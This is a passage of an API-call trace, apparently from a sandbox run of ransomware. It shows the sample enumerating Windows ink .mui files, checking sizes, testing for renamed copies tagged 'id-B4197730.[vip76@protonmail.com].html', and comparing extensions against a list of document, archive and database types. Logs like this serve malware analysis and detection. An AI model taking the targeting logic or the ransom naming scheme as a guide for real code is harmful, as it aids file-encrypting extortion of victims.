	[0168.540] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.540] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.540] lstrlenW (lpString="InkObj.dll.mui") returned 14
	[0168.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.542] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=5120) returned 1
	[0168.542] CloseHandle (hObject=0x4b0) returned 1
	[0168.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20
	[0168.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.542] lstrlenW (lpString=".doc") returned 4
	[0168.542] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.542] lstrlenW (lpString=".docx") returned 5
	[0168.542] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.542] lstrlenW (lpString=".pdf") returned 4
	[0168.542] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.542] lstrlenW (lpString=".xls") returned 4
	[0168.542] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.542] lstrlenW (lpString=".xlsx") returned 5
	[0168.543] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.543] lstrlenW (lpString=".ppt") returned 4
	[0168.543] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.543] lstrlenW (lpString=".zip") returned 4
	[0168.543] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.543] lstrlenW (lpString=".rar") returned 4
	[0168.543] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.543] lstrlenW (lpString=".bz2") returned 4
	[0168.543] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.543] lstrlenW (lpString=".7z") returned 3
	[0168.543] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.543] lstrlenW (lpString=".dbf") returned 4
	[0168.543] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.543] lstrlenW (lpString=".1cd") returned 4
	[0168.543] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.543] lstrlenW (lpString=".jpg") returned 4
	[0168.543] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.543] lstrlenW (lpString=".doc") returned 4
	[0168.543] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.543] lstrlenW (lpString=".docx") returned 5
	[0168.543] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.543] lstrlenW (lpString=".pdf") returned 4
	[0168.543] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.543] lstrlenW (lpString=".xls") returned 4
	[0168.544] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.544] lstrlenW (lpString=".xlsx") returned 5
	[0168.544] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.544] lstrlenW (lpString=".ppt") returned 4
	[0168.544] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.544] lstrlenW (lpString=".zip") returned 4
	[0168.544] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.544] lstrlenW (lpString=".rar") returned 4
	[0168.544] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.544] lstrlenW (lpString=".bz2") returned 4
	[0168.544] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.544] lstrlenW (lpString=".7z") returned 3
	[0168.544] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.544] lstrlenW (lpString=".dbf") returned 4
	[0168.544] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.544] lstrlenW (lpString=".1cd") returned 4
	[0168.544] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0168.544] lstrlenW (lpString=".jpg") returned 4
	[0168.544] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.544] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.544] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28
	[0168.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.545] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3072) returned 1
	[0168.545] CloseHandle (hObject=0x4b0) returned 1
	[0168.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20
	[0168.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.546] lstrlenW (lpString=".doc") returned 4
	[0168.546] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.546] lstrlenW (lpString=".docx") returned 5
	[0168.546] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.546] lstrlenW (lpString=".pdf") returned 4
	[0168.546] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.546] lstrlenW (lpString=".xls") returned 4
	[0168.546] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.546] lstrlenW (lpString=".xlsx") returned 5
	[0168.546] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.546] lstrlenW (lpString=".ppt") returned 4
	[0168.546] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.546] lstrlenW (lpString=".zip") returned 4
	[0168.546] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.546] lstrlenW (lpString=".rar") returned 4
	[0168.546] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.546] lstrlenW (lpString=".bz2") returned 4
	[0168.546] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.546] lstrlenW (lpString=".7z") returned 3
	[0168.546] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.546] lstrlenW (lpString=".dbf") returned 4
	[0168.546] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.546] lstrlenW (lpString=".1cd") returned 4
	[0168.546] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.546] lstrlenW (lpString=".jpg") returned 4
	[0168.546] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.547] lstrlenW (lpString=".doc") returned 4
	[0168.547] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.547] lstrlenW (lpString=".docx") returned 5
	[0168.547] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.547] lstrlenW (lpString=".pdf") returned 4
	[0168.547] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.547] lstrlenW (lpString=".xls") returned 4
	[0168.547] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.547] lstrlenW (lpString=".xlsx") returned 5
	[0168.547] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.547] lstrlenW (lpString=".ppt") returned 4
	[0168.547] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.547] lstrlenW (lpString=".zip") returned 4
	[0168.547] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.547] lstrlenW (lpString=".rar") returned 4
	[0168.547] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.547] lstrlenW (lpString=".bz2") returned 4
	[0168.547] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.547] lstrlenW (lpString=".7z") returned 3
	[0168.547] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.547] lstrlenW (lpString=".dbf") returned 4
	[0168.547] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.547] lstrlenW (lpString=".1cd") returned 4
	[0168.547] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0168.548] lstrlenW (lpString=".jpg") returned 4
	[0168.548] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.548] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.548] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22
	[0168.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.549] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=23040) returned 1
	[0168.549] CloseHandle (hObject=0x4b0) returned 1
	[0168.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20
	[0168.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.550] lstrlenW (lpString=".doc") returned 4
	[0168.550] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.550] lstrlenW (lpString=".docx") returned 5
	[0168.550] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.550] lstrlenW (lpString=".pdf") returned 4
	[0168.550] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.551] lstrlenW (lpString=".xls") returned 4
	[0168.551] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.551] lstrlenW (lpString=".xlsx") returned 5
	[0168.551] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.551] lstrlenW (lpString=".ppt") returned 4
	[0168.551] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.551] lstrlenW (lpString=".zip") returned 4
	[0168.551] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.551] lstrlenW (lpString=".rar") returned 4
	[0168.551] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.551] lstrlenW (lpString=".bz2") returned 4
	[0168.551] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.551] lstrlenW (lpString=".7z") returned 3
	[0168.551] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.551] lstrlenW (lpString=".dbf") returned 4
	[0168.551] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.551] lstrlenW (lpString=".1cd") returned 4
	[0168.551] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.551] lstrlenW (lpString=".jpg") returned 4
	[0168.551] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.551] lstrlenW (lpString=".doc") returned 4
	[0168.551] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.551] lstrlenW (lpString=".docx") returned 5
	[0168.552] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.552] lstrlenW (lpString=".pdf") returned 4
	[0168.552] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.552] lstrlenW (lpString=".xls") returned 4
	[0168.552] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.552] lstrlenW (lpString=".xlsx") returned 5
	[0168.552] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.552] lstrlenW (lpString=".ppt") returned 4
	[0168.552] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.552] lstrlenW (lpString=".zip") returned 4
	[0168.552] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.552] lstrlenW (lpString=".rar") returned 4
	[0168.552] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.552] lstrlenW (lpString=".bz2") returned 4
	[0168.552] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.552] lstrlenW (lpString=".7z") returned 3
	[0168.552] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.552] lstrlenW (lpString=".dbf") returned 4
	[0168.552] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.552] lstrlenW (lpString=".1cd") returned 4
	[0168.552] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0168.552] lstrlenW (lpString=".jpg") returned 4
	[0168.552] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.553] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.553] lstrlenW (lpString="mip.exe.mui") returned 11
	[0168.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.554] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10752) returned 1
	[0168.554] CloseHandle (hObject=0x4b0) returned 1
	[0168.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20
	[0168.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.554] lstrlenW (lpString=".doc") returned 4
	[0168.554] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.554] lstrlenW (lpString=".docx") returned 5
	[0168.554] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.554] lstrlenW (lpString=".pdf") returned 4
	[0168.554] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.554] lstrlenW (lpString=".xls") returned 4
	[0168.554] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.554] lstrlenW (lpString=".xlsx") returned 5
	[0168.554] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.555] lstrlenW (lpString=".ppt") returned 4
	[0168.555] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.555] lstrlenW (lpString=".zip") returned 4
	[0168.555] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.555] lstrlenW (lpString=".rar") returned 4
	[0168.555] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.555] lstrlenW (lpString=".bz2") returned 4
	[0168.555] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.555] lstrlenW (lpString=".7z") returned 3
	[0168.555] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.555] lstrlenW (lpString=".dbf") returned 4
	[0168.555] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.555] lstrlenW (lpString=".1cd") returned 4
	[0168.555] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.555] lstrlenW (lpString=".jpg") returned 4
	[0168.555] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.555] lstrlenW (lpString=".doc") returned 4
	[0168.555] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.555] lstrlenW (lpString=".docx") returned 5
	[0168.555] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.555] lstrlenW (lpString=".pdf") returned 4
	[0168.555] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.555] lstrlenW (lpString=".xls") returned 4
	[0168.555] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.556] lstrlenW (lpString=".xlsx") returned 5
	[0168.556] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.556] lstrlenW (lpString=".ppt") returned 4
	[0168.556] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.556] lstrlenW (lpString=".zip") returned 4
	[0168.556] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.556] lstrlenW (lpString=".rar") returned 4
	[0168.556] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.556] lstrlenW (lpString=".bz2") returned 4
	[0168.556] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.556] lstrlenW (lpString=".7z") returned 3
	[0168.556] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.556] lstrlenW (lpString=".dbf") returned 4
	[0168.556] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.556] lstrlenW (lpString=".1cd") returned 4
	[0168.556] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0168.556] lstrlenW (lpString=".jpg") returned 4
	[0168.556] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.556] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.556] lstrlenW (lpString="mshwLatin.dll.mui") returned 17
	[0168.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.558] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3072) returned 1
	[0168.558] CloseHandle (hObject=0x4b0) returned 1
	[0168.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20
	[0168.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0168.559] lstrlenW (lpString=".doc") returned 4
	[0168.559] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.559] lstrlenW (lpString=".docx") returned 5
